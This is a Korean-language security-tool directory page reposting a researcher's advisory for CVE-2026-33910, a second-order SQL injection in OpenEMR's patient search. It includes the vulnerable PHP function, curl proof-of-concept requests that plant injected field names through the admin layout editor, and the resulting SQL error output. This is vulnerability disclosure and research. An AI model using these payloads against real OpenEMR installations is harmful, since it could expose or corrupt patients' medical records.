Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2 — CVE-2026-33910: OpenEMR <8.0.0.3의 SQL 인젝션 취약점 | Kitploit
도구/GitHubGitHub/chrissub08/cve-2026-33910_sqlinjectionvulnerabilityopenemr8.0.0.2
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubchrissub08/cve-2026-33910_sqlinjectionvulnerabilityopenemr8.0.0.2

CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2

CVE-2026-33910: OpenEMR <8.0.0.3의 SQL 인젝션 취약점

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
4개월 전아직 검토되지 않음

CVE-2026-33910 - OpenEMR < 8.0.0.3의 SQL 인젝션 취약점

취약점 CWE-89

SQL 명령에 사용되는 특수 요소의 부적절한 중화 ('SQL 인젝션') 제품은 업스트림 구성 요소로부터 외부의 영향을 받은 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 전송될 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중화하지 않거나 잘못 중화합니다. 사용자가 제어할 수 있는 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터가 아닌 SQL로 해석될 수 있습니다. MITRE에서 자세히 알아보세요.

요약

OpenEMR 8.0.0.2에는 인증된 공격자가 악용할 수 있는 환자 선택 기능의 SQL 인젝션 취약점이 있습니다. 이 취약점은 환자 선택 기능의 불충분한 입력 검증으로 인해 발생합니다.

세부 정보

이 취약점은 환자 선택 기능에서 발생하며, 데이터베이스 항목이 적절한 살균(sanitization) 없이 SQL 쿼리에 직접 연결됩니다. 이를 통해 공격자는 먼저 페이로드를 데이터베이스에 삽입하여 악성 SQL 코드를 주입할 수 있습니다.

이 취약점은 다음 줄에 영향을 미칩니다:

  • patient.inc.php 689번째 줄
root@kitploit:~
function getByPatientDemographics($searchTerm = "%", $given = "pid, id, lname, fname, mname, providerID, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS", $orderby = "lname ASC, fname ASC", $limit = "all", $start = "0")
{
    $layoutCols = sqlStatement(
        "SELECT field_id FROM layout_options WHERE form_id = 'DEM' AND field_id not like ? AND uor != 0",
        ['em\_%']
    );

    $sqlBindArray = [];
    $where = "";
    for ($iter = 0; $row = sqlFetchArray($layoutCols); $iter++) {
        if ($iter > 0) {
            $where .= " or ";
        }

        $where .= " " . add_escape_custom($row["field_id"]) . " like ? ";
        array_push($sqlBindArray, "%" . $searchTerm . "%");
    }

    $sql = "SELECT $given FROM patient_data WHERE $where ORDER BY $orderby";
    if ($limit != "all") {
        $sql .= " limit " . escape_limit($start) . ", " . escape_limit($limit);
    }

    $rez = sqlStatement($sql, $sqlBindArray);
    for ($iter = 0; $row = sqlFetchArray($rez); $iter++) {
        $returnval[$iter] = $row;
    }

    if (is_countable($returnval)) {
        _set_patient_inc_count($limit, count($returnval), $where, $sqlBindArray);
    }
    return $returnval;
}
root@kitploit:~
SELECT * FROM patient_data WHERE  <injection> like ? or  <injection> like ? or  <injection> like ? ...

참고: 취약점을 악용하려면 삽입이 선행되어야 합니다. layout_options 테이블에 데이터를 삽입하기 위해 필요한 ACL(AclMain::aclCheckCore('admin', 'super'))과 함께 /interface/super/edit_layout.php를 사용합니다. layout_options.field_id에 페이로드를 삽입할 수 있는 권한이 관리자에게만 있다는 것을 입증하지는 못했지만, 제 PoC는 관리자 계정을 사용합니다.

PoC

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ curl -X POST "http://172.18.0.3/interface/super/edit_layout.php" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: OpenEMR=76a6afd3b6a64035d8c3e1800eb5b5ac" --data-urlencode "formaction=addfield" --data-urlencode "layout_id=DEM" --data-urlencode "csrf_token_form=55a14465e41acbdbd4d88e80cad22083ef975b9c" --data-urlencode "newid=injection'payload" --data-urlencode "newtitle=Test Field" --data-urlencode "newdatatype=1" --data-urlencode "newfieldgroupid=1" --data-urlencode "newseq=1" --data-urlencode "newuor=1" --data-urlencode "newlengthWidth=255" --data-urlencode "newlengthHeight=1" --data-urlencode "newtitlecols=1" --data-urlencode "newdatacols=1" --data-urlencode "newdefault=" --data-urlencode "newcodes=" --data-urlencode "newdesc=Field created via curl" --data-urlencode "newmaxSize=255" --data-urlencode "newsource=" --data-urlencode "newlistid=" --data-urlencode "newbackuplistid="
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string injection'payload</span><br />

┌──(kali㉿kali)-[~]
└─$ curl -X POST "http://172.18.0.3/interface/super/edit_layout.php" -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: OpenEMR=76a6afd3b6a64035d8c3e1800eb5b5ac" --data-urlencode "formaction=addfield" --data-urlencode "layout_id=DEM" --data-urlencode "csrf_token_form=55a14465e41acbdbd4d88e80cad22083ef975b9c" --data-urlencode "newid=1 OR 1=1" --data-urlencode "newtitle=Test Field" --data-urlencode "newdatatype=1" --data-urlencode "newfieldgroupid=1" --data-urlencode "newseq=1" --data-urlencode "newuor=1" --data-urlencode "newlengthWidth=255" --data-urlencode "newlengthHeight=1" --data-urlencode "newtitlecols=1" --data-urlencode "newdatacols=1" --data-urlencode "newdefault=" --data-urlencode "newcodes=" --data-urlencode "newdesc=Field created via curl" --data-urlencode "newmaxSize=255" --data-urlencode "newsource=" --data-urlencode "newlistid=" --data-urlencode "newbackuplistid="
<br /><span style='color:red;font-weight:bold;'>There was an OpenEMR SQL Escaping ERROR of the following string 1 OR 1=1</span><br />

┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=3e05a485cd972a80234bbf22bd94a9b7" 'http://172.18.0.3/interface/main/finder/patient_select.php?from_page=&report_id=0&csrf_token_form=f242b99731487d705ef38764ac86b8341940ffab&findBy=Any'
...
<input type='hidden' name='findBy'  value='Any' />
SQL Statement failed on preparation: SELECT * FROM patient_data WHERE  1 OR 1=1 like ?  or  additional_addresses like ?  or  allow_health_info_ex like ?  or  allow_imm_info_share like ?  or  allow_imm_reg_use like ?  or  allow_patient_portal like ?  or  billing_note like ?  or  birth_fname like ?  or  birth_lname like ?  or  birth_mname like ?  or  care_team_facility like ?  or  care_team_provider like ?  or  care_team_status like ?  or  city like ?  or  cmsportal_login like ?  or  contact_relationship like ?  or  country_code like ?  or  county like ?  or  deceased_date like ?  or  deceased_reason like ?  or  DOB like ?  or  drivers_license like ?  or  email like ?  or  email_direct like ?  or  ethnicity like ?  or  family_size like ?  or  financial_review like ?  or  fname like ?  or  gender_identity like ?  or  genericname1 like ?  or  genericname2 like ?  or  genericval1 like ?  or  genericval2 like ?  or  guardianaddress like ?  or  guardiancity like ?  or  guardiancountry like ?  or  guardianemail like ?  or  guardianphone like ?  or  guardianpostalcode like ?  or  guardianrelationship like ?  or  guardiansex like ?  or  guardiansname like ?  or  guardianstate like ?  or  guardianworkphone like ?  or  hipaa_allowemail like ?  or  hipaa_allowsms like ?  or  hipaa_mail like ?  or  hipaa_message like ?  or  hipaa_notice like ?  or  hipaa_voice like ?  or  homeless like ?  or  imm_reg_status like ?  or  imm_reg_stat_effdate like ?  or  industry like ?  or  injection\&#039;payload like ?  or  interpreter_needed like ?  or  interpretter like ?  or  language like ?  or  lname like ?  or  migrantseasonal like ?  or  mname like ?  or  monthly_income like ?  or  mothersname like ?  or  name_history like ?  or  nationality_country like ?  or  occupation like ?  or  patient_groups like ?  or  pharmacy_id like ?  or  phone_biz like ?  or  phone_cell like ?  or  phone_contact like ?  or  phone_home like ?  or  postal_code like ?  or  preferred_name like ?  or  prevent_portal_apps like ?  or  protect_indicator like ?  or  prot_indi_effdate like ?  or  providerID like ?  or  provider_since_date like ?  or  publicity_code like ?  or  publ_code_eff_date like ?  or  pubpid like ?  or  race like ?  or  referral_source like ?  or  ref_providerID like ?  or  related_persons like ?  or  religion like ?  or  sex like ?  or  sexual_orientation like ?  or  sex_identified like ?  or  ss like ?  or  state like ?  or  status like ?  or  street like ?  or  street_line_2 like ?  or  suffix like ?  or  title like ?  or  tribal_affiliations like ?  or  vfc like ?  ORDER BY lname ASC, fname ASC limit 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT * FROM patient_data WHERE  1 OR 1=1 like ?  or  additional_addresses like ?  or  allow_health_info_ex like ?  or  allow_imm_info_share like ?  or  allow_imm_reg_use like ?  or  allow_patient_portal like ?  or  billing_note like ?  or  birth_fname like ?  or  birth_lname like ?  or  birth_mname like ?  or  care_team_facility like ?  or  care_team_provider like ?  or  care_team_status like ?  or  city like ?  or  cmsportal_login like ?  or  contact_relationship like ?  or  country_code like ?  or  county like ?  or  deceased_date like ?  or  deceased_reason like ?  or  DOB like ?  or  drivers_license like ?  or  email like ?  or  email_direct like ?  or  ethnicity like ?  or  family_size like ?  or  financial_review like ?  or  fname like ?  or  gender_identity like ?  or  genericname1 like ?  or  genericname2 like ?  or  genericval1 like ?  or  genericval2 like ?  or  guardianaddress like ?  or  guardiancity like ?  or  guardiancountry like ?  or  guardianemail like ?  or  guardianphone like ?  or  guardianpostalcode like ?  or  guardianrelationship like ?  or  guardiansex like ?  or  guardiansname like ?  or  guardianstate like ?  or  guardianworkphone like ?  or  hipaa_allowemail like ?  or  hipaa_allowsms like ?  or  hipaa_mail like ?  or  hipaa_message like ?  or  hipaa_notice like ?  or  hipaa_voice like ?  or  homeless like ?  or  imm_reg_status like ?  or  imm_reg_stat_effdate like ?  or  industry like ?  or  injection\'payload like ?  or  interpreter_needed like ?  or  interpretter like ?  or  language like ?  or  lname like ?  or  migrantseasonal like ?  or  mname like ?  or  monthly_income like ?  or  mothersname like ?  or  name_history like ?  or  nationality_country like ?  or  occupation like ?  or  patient_groups like ?  or  pharmacy_id like ?  or  phone_biz like ?  or  phone_cell like ?  or  phone_contact like ?  or  phone_home like ?  or  postal_code like ?  or  preferred_name like ?  or  prevent_portal_apps like ?  or  protect_indicator like ?  or  prot_indi_effdate like ?  or  providerID like ?  or  provider_since_date like ?  or  publicity_code like ?  or  publ_code_eff_date like ?  or  pubpid like ?  or  race like ?  or  referral_source like ?  or  ref_providerID like ?  or  related_persons like ?  or  religion like ?  or  sex like ?  or  sexual_orientation like ?  or  sex_identified like ?  or  ss like ?  or  state like ?  or  status like ?  or  street like ?  or  street_line_2 like ?  or  suffix like ?  or  title like ?  or  tribal_affiliations like ?  or  vfc like ?  ORDER BY lname ASC, fname ASC limit 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\'payload like ?  or  interpreter_needed like ?  or  interpretter like ?  or ...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/library/patient.inc.php at 685:sqlStatement<br />/var/www/localhost/htdocs/openemr/interface/main/finder/patient_select.php at 271:getByPatientDemographics(,*,lname ASC, fname ASC,100,0)

┌──(kali㉿kali)-[~]
└─$ 

영향

  • 데이터베이스 정보에 대한 무단 액세스
  • 민감한 의료 정보의 잠재적 데이터 유출
  • 서버 측 코드 실행 (일부 경우)
  • 데이터베이스 손상

취약점 수정 절차

  1. 취약점 평가 및 검증
  2. CVE ID 요청 또는 할당
  3. 비공개 포크 또는 비공개 브랜치 생성
  4. 수정 사항 개발
  5. 회귀 및 보안 테스트 작성
  6. 릴리스 노트 및 보안 권고 초안 준비
  7. 수정 사항 게시(코드 병합) 및 패치 버전 릴리스
  8. 취약점 공개

크레딧

  • 연구자: Christophe SUBLET
  • 기관: Grenoble INP - Esisar, UGA
  • 프로젝트: CyberSkills, Orion

링크

https://www.cve.org/CVERecord?id=CVE-2026-33910

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
저희 논문을 인용해 주세요: https://github.com/ChrisSub08/CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2

도구 다운로드